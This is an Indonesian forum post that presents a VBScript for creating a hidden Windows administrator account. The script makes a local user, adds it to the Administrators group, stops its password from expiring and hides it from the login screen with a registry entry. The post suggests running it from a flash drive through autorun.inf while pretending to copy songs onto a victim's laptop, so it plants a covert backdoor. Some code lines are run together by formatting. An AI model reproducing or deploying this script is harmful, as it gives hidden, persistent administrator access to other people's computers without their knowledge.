Bikin hidden user account dalam sekejap (script)

catatan: edit baris strPassword dan strUser sesuai dengan nama user dan password yg kamu mau
simpan kode diatas dengan file berakhiran .vbs
untuk membuat user account tersebut tinggal double klik di file tersebut

gimana kalo file ini disimpan di FLashdisk 
ane buatin autorun.inf nya
trus flashdisk nya ane colok di laptop ente, pura2 mau copy lagu.

On Error Resume NextConst ADS_UF_DONT_EXPIRE_PASSWD = &h10000
Set wshNetwork = WScript.CreateObject( "WScript.Network" )strComputer = wshNetwork.ComputerName'<<<<Edit next two lines>>>>>>>>strPassword = "password"strUser="Username"
Set colAccounts = GetObject("WinNT://" & strComputer)Set objUser = colAccounts.Create("user", strUser)objUser.SetPassword strPasswordobjUser.SetInfo
Set objUser=GetObject("WinNT://" & strComputer & "/" & strUser)
If objUser.UserFlags And ADS_UF_DONT_EXPIRE_PASSWD ThenobjUser.UserFlags=objUser.UserFlags XoR ADS_UF_DONT_EXPIRE_PASSWDEnd IfobjUser.SetInfo
'Add user to Local Administrators GroupSet objGroup = GetObject("WinNT://" & strComputer & "/Administrators")objGroup.Add(objUser.ADsPath)

'Hide User Account
HKEY_LOCAL_MACHINE = &H80000002strComputer = "."
Set ObjRegistry = _GetObject("winmgmts:{impersonationLevel = impersonate}!\\" _& strComputer & "\root\default:StdRegProv")
strPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"
Return = objRegistry.CreateKey(HKEY_LOCAL_MACHINE, strPath)
Set oReg=GetObject( _"winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv")strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList"oReg.SetDWORDValue _ HKEY_LOCAL_MACHINE,strKeyPath,strUser,0

WScript.Echo "Username Created"WScript.Quit

****************************patch******************************* (Continue)..